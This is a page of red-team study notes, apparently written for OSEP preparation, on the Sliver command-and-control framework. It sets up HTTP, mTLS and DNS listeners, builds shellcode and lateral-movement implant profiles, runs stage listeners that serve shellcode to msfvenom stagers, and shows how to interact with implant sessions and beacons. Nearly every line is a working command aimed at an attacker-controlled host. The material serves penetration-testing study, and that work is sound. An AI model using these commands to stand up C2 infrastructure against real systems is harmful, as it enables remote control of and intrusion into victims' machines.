3. Beacons & Listeners

Beacons & Listeners

Sliver listener types, profiles, stage listeners, and session interaction.

---

HTTP Listener

# Start HTTP listener
sliver > http -L <ATTACKER_IP> --lport 8088

mTLS Listener

sliver > mtls -L <ATTACKER_IP> --lport 8888

DNS Listener

sliver > dns -L <ATTACKER_IP> --domains <your-domain.com>

---

Profiles

Profiles define implant configurations that can be reused with stage listeners and payload generation.

# 64-bit HTTP shellcode profile
sliver > profiles new --http <ATTACKER_IP>:8088 --format shellcode osep
 
# 32-bit HTTP shellcode profile
sliver > profiles new --http <ATTACKER_IP>:9090 --format shellcode -a x86 osepx86
 
# Lateral movement profile (service format)
sliver > profiles new --http <ATTACKER_IP>:8099 --format service osep-lateral

---

Stage Listeners

Stage listeners serve shellcode to stagers (e.g. msfvenom stagers):

# 64-bit stage listener
sliver > stage-listener --url tcp://<ATTACKER_IP>:4443 --profile osep
 
# 32-bit stage listener
sliver > stage-listener --url tcp://<ATTACKER_IP>:5553 --profile osepx86

When using msfvenom stagers with Sliver, you must use --prepend-size on the stage-listener to accommodate the msfvenom stager format.

Full setup example (64-bit):

profiles new --http <ATTACKER_IP>:8088 --format shellcode osep
stage-listener --url tcp://<ATTACKER_IP>:4443 --profile osep
http -L <ATTACKER_IP> --lport 8088

---

Interacting with Sessions

# List active sessions
sliver > sessions
 
# Interact with a session
sliver > use <SESSION_ID>
 
# List active beacons
sliver > beacons
 
# Interact with a beacon
sliver > use <BEACON_ID>
 
# Background current session
sliver (IMPLANT) > background

---

See also: 4. Payload Generation